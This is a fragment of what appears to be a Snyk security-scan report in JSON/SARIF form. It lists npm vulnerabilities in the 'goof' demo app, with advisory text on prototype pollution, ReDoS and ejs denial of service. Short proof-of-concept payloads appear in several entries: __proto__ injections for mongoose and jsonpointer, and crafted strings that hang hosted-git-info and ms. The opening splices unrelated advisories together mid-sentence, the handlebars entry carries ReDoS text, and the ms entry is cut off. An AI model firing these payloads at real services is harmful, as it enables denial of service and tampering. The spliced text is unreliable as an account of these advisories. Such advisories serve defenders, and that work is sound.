color-convert@1.9.3 › color-name@1.1.3\n# Overview\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS) backslash@0.2.1 contains malware after npm account takeover. backlash parses collected strings with escapes. On 8 September 2025, the npm publishing account for backslash was taken over after a phishing attack. Version 0.2.1 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments. Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct '}, callback);\n```\n\nThe [fix](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\n\n# Disclosure Timeline\n- November 28th, 2016 - Reported the issue to package owner.\n- November 28th, 2016 - Issue acknowledged by package owner.\n- December 06th, 2016 - Issue fixed and version `2.5.5` released.\n\n# Remediation\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://app.snyk.io/org/my-org# References\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\n- [Fix commit](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-79", + "npm" + ], + "cvssv3_baseScore": 5.9, + "security-severity": "5.9" + } + }, + { + "id": "SNYK-JS-JSONSCHEMA-1920922", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in json-schema" + }, + "fullDescription": { + "text": "(CVE-2021-3918) json-schema@0.2.3" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: json-schema\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › http-signature@1.1.1 › jsprim@1.4.1 › json-schema@0.2.3\n# Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `validate` function, which when given a special payload will pollute `Object` with undesired attributes.\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n# Remediation\nUpgrade `json-schema` to version 0.4.0 or higher.\n# References\n- [GitHub Commit](https://github.com/kriszyp/json-schema/commit/22" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 8.6, + "security-severity": "8.6" + } + }, + { + "id": "SNYK-JS-HOSTEDGITINFO-1088355", + "shortDescription": { + "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in hosted-git-info" + }, + "fullDescription": { + "text": "(CVE-2021-23362) hosted-git-info@2.8.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: hosted-git-info\n* Introduced through: goof@1.0.1, snyk@1.290.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-resolve-deps@4.4.0 › snyk-module@1.9.1 › hosted-git-info@2.8.5\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-module@1.9.1 › hosted-git-info@2.8.5\n* _Introduced through_: goof@1.0.1 › snyk@1.290.2 › snyk-policy@1.13.5 › snyk-module@1.9.1 › hosted-git-info@2.8.5\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › test-exclude@1.1.0 › read-pkg-up@1.0.1 › read-pkg@1.1.0 › normalize-package-data@2.3.5 › hosted-git-info@2.1.5\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › yargs@4.7.1 › read-pkg-up@1.0.1 › read-pkg@1.1.0 › normalize-package-data@2.3.5 › hosted-git-info@2.1.5\n# Overview\n[hosted-git-info](https://www.npmjs.org/package/hosted-git-info) is a Provides metadata and conversions from repository urls for Github, Bitbucket and Gitlab\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression `shortcutMatch ` in the `fromUrl` function in index.js. The affected regular expression exhibits polynomial worst-case time complexity.\r\n\r\n## PoC by Yeting Li\r\n```\r\nvar hostedGitInfo = require(\"hosted-git-info\")\r\nfunction build_attack(n) {\r\n var ret = \"a:\"\r\n for (var i = 0; i < n; i++) {\r\n ret += \"a\"\r\n }\r\n return ret + \"!\";\r\n}\r\n\r\nfor(var i = 1; i <= 5000000; i++) {\r\n if (i % 1000 == 0) {\r\n var time = Date.now();\r\n var attack_str = build_attack(i)\r\n var parsedInfo = hostedGitInfo.fromUrl(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `hosted-git-info` to version 3.0.8, 2.8.9 or higher.\n# References\n- [GitHub Commit](https://github.com/npm/hosted-git-info/commit/bede0dc38e1785e732bf0a48ba6f81a4a908eba3)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.3, + "security-severity": "5.3" + } + }, + { + "id": "SNYK-JS-HANDLEBARS-567742", + "shortDescription": { + "text": "Medium severity - Prototype Pollution vulnerability in handlebars" + }, + "fullDescription": { + "text": "handlebars@4.0.5" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: handlebars\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › nyc@6.6.1 › istanbul@0.4.3 › handlebars@4.0.5\n# Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Prototype Pollution. Prototype access to the template engine allows for potential code execution.\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `handlebars` to version 4.6.0 or higher.\n# References\n- [GitHub PR](https://github.com/handlebars-lang/handlebars.js/pull/1633)\n- [HackerOne Report](https://hackerone.com/reports/726364)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 6.5, + "security-severity": "6.5" + } + }, + { + "id": "npm:ms:20170412", + "shortDescription": { + "text": "Low severity - Regular Expression Denial of Service (ReDoS) vulnerability in ms" + }, + "fullDescription": { + "text": "ms@0.6.2" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: ms\n* Introduced through: goof@1.0.1, humanize-ms@1.0.1 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › humanize-ms@1.0.1 › ms@0.6.2\n* _Introduced through_: goof@1.0.1 › ms@0.7.3\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › finalhandler@0.3.6 › debug@2.2.0 › ms@0.7.1\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › debug@2.2.0 › ms@0.7.1\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › send@0.12.3 › debug@2.2.0 › ms@0.7.1\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › debug@2.2.0 › ms@0.7.1\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › mquery@1.6.3 › debug@2.2.0 › ms@0.7.1\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › serve-static@1.9.3 › send@0.12.3 › ms@0.7.1\n* _Introduced through_: goof@1.0.1 › express@4.12.4 › send@0.12.3 › ms@0.7.1\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4 › ms@0.7.1\n# Overview\r\n[`ms`](https://www.npmjs.com/package/ms) is a tiny millisecond conversion utility.\r\n\r\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to an incomplete fix for previously reported vulnerability [npm:ms:20151024](https://snyk.io/vuln/npm:ms:20151024). The fix limited the length of accepted input string to 10,000 characters, and turned to be insufficient making it possible to block the event loop for 0.3 seconds (on a typical laptop) with a specially crafted string passed to `ms()` function.\r\n\r\n*Proof of concept*\r\n```js\r\nms = require('ms');\r\nms('1'.repeat(9998) + 'Q') // Takes about ~0.3s\r\n```\r\n\r\n**Note:** Snyk's patch for this vulnerability limits input length to 100 characters. This new limit was deemed to be a breaking change by the author.\r\nBased on user feedback, we believe the risk of breakage is _very_ low, while the value to your security is much greater, and therefore opted to still capture this change in a patch for earlier versions as well. Whenever patching security issues, we always suggest to run tests on your code to validate that nothing has been broken.\r\n\r\nFor more information on `Regular Expression Denial of Service (ReDoS)` attacks, go to our [blog](https://snyk.io/blog/redos-and-catastrophic-backtracking/).\r\n\r\n# Disclosure Timeline\r\n- Feb 9th, 2017 - Reported the issue to package owner.\r\n- Feb 11th, 2017 - Issue acknowledged by package owner.\r\n- April 12th, 2017 - Fix PR opened by Snyk Security Team.\r\n- May 15th, 2017 - Vulnerability published.\r\n- May 16th, 2017 - Issue fixed and version `2.0.0` released.\r\n- May 21th, 2017 - Patches released for versions `>=0.7.1, <=1.0.0`.\r\n\r\n# Details\r\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\r\n\r\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\r\n\r\nLet’s take the following regular expression as an example:\r\n```js\r\nregex = /A(B|C+)+D/\r\n```\r\n\r\nThis regular expression accomplishes the following:\r\n- `A` The string must start with the letter 'A'\r\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\r\n- `D` Finally, we ensure this section of the string ends with a 'D'\r\n\r\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\r\n\r\nIt most cases, it doesn't take very long for a regex engine to find a match:\r\n\r\n```bash\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\r\n0.04s user 0.01s system 95% cpu 0.052 total\r\n\r\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\r\n1.79s user 0.02s system 99% cpu 1.812 total\r\n```\r\n\r\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\r\n\r\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\r\n\r\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\r\n1. CCC\r\n2. CC+C\r\n3. C+CC\r\n4. C+C+C.\r\n\r\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\r\n\r\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\r\n\r\n| String | Number of C's | Number of steps |\r\n| -------|-------------:| -----:|\r\n| ACCCX | 3 | 38\r\n| ACCCCX | 4 | 71\r\n| ACCCCCX | 5 | 136\r\n| ACCCCCCCCCCCCCCX | 14 | 65,553\r\n\r\n\r\nBy the time the" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 3.7, + "security-severity": "3.7" + } + }, + { + "id": "npm:ejs:20161130-1", + "shortDescription": { + "text": "Medium severity - Denial of Service (DoS) vulnerability in ejs" + }, + "fullDescription": { + "text": "(CVE-2017-1000189) ejs@0.8.8" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: ejs\n* Introduced through: goof@1.0.1, ejs-locals@1.0.2 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › ejs-locals@1.0.2 › ejs@0.8.8\n* _Introduced through_: goof@1.0.1 › ejs@1.0.0\n# Overview\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\nAffected versions of the package are vulnerable to _Denial of Service_ by letting the attacker under certain conditions control and override the `localNames` option causing it to crash.\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\n\nThere's also a [Remote Code Execution](https://snyk.io/vuln/npm:ejs:20161128) & [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) vulnerabilities caused by the same behaviour.\n\n# Details\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\n\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\n```js\nejs.render(str, data, options);\n\nejs.renderFile(filename, data, options, callback)\n```\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\n```js\nejs.render(str, dataAndOptions);\n\nejs.renderFile(filename, dataAndOptions, callback)\n```\n\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `localNames` option, which will cause the renderer to crash.\n\n```js\nejs.renderFile('my-template', {localNames:'try'}, callback);\n```\n\nThe [fix](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\n\n# Disclosure Timeline\n- November 28th, 2016 - Reported the issue to package owner.\n- November 28th, 2016 - Issue acknowledged by package owner.\n- December 06th, 2016 - Issue fixed and version `2.5.5` released.\n\n# Remediation\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://app.snyk.io/org/my-org# References\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\n- [Fix commit](https://github.com/mde/ejs/commit/49264e0037e313a0a3e033450b5c184112516d8f)\n" + }, + "properties": { + "tags": [ + "security", + "CWE-400", + "npm" + ], + "cvssv3_baseScore": 5.9, + "security-severity": "5.9" + } + }, + { + "id": "SNYK-JS-MONGOOSE-2961688", + "shortDescription": { + "text": "High severity - Prototype Pollution vulnerability in mongoose" + }, + "fullDescription": { + "text": "(CVE-2022-2564, CVE-2022-24304) mongoose@4.2.4" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: mongoose\n* Introduced through: goof@1.0.1 and mongoose@4.2.4\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › mongoose@4.2.4\n# Overview\n[mongoose](https://www.npmjs.com/package/mongoose) is a Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.\n\nAffected versions of this package are vulnerable to Prototype Pollution in the `Schema.path()` function.\r\n\r\n# PoC:\r\n```js\r\nconst mongoose = require('mongoose');\r\nconst schema = new mongoose.Schema();\r\n\r\nmalicious_payload = '__proto__.toString'\r\n\r\nschema.path(malicious_payload, [String])\r\n\r\nx = {}\r\nconsole.log(x.toString())\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n# Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n# How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n## For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.”" + }, + "properties": { + "tags": [ + "security", + "CWE-1321", + "npm" + ], + "cvssv3_baseScore": 7, + "security-severity": "7.0" + } + }, + { + "id": "SNYK-JS-JSONPOINTER-598804", + "shortDescription": { + "text": "Critical severity - Prototype Pollution vulnerability in jsonpointer" + }, + "fullDescription": { + "text": "jsonpointer@4.0.1" + }, + "help": { + "text": "", + "markdown": "* Package Manager: npm\n* Vulnerable module: jsonpointer\n* Introduced through: goof@1.0.1, tap@5.8.0 and others\n### Detailed paths\n* _Introduced through_: goof@1.0.1 › tap@5.8.0 › coveralls@2.13.3 › request@2.79.0 › har-validator@2.0.6 › is-my-json-valid@2.19.0 › jsonpointer@4.0.1\n# Overview\n[jsonpointer](https://www.npmjs.com/package/jsonpointer) is a Simple JSON Addressing.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `set` function.\r\n\r\n## POC by NerdJS\r\n```\r\nconst jsonpointer = require('jsonpointer');\r\njsonpointer.set({}, '/__proto__/polluted', true);\r\nconsole.log(polluted);\r\n```\n\n# Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n## Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n## Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n# Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
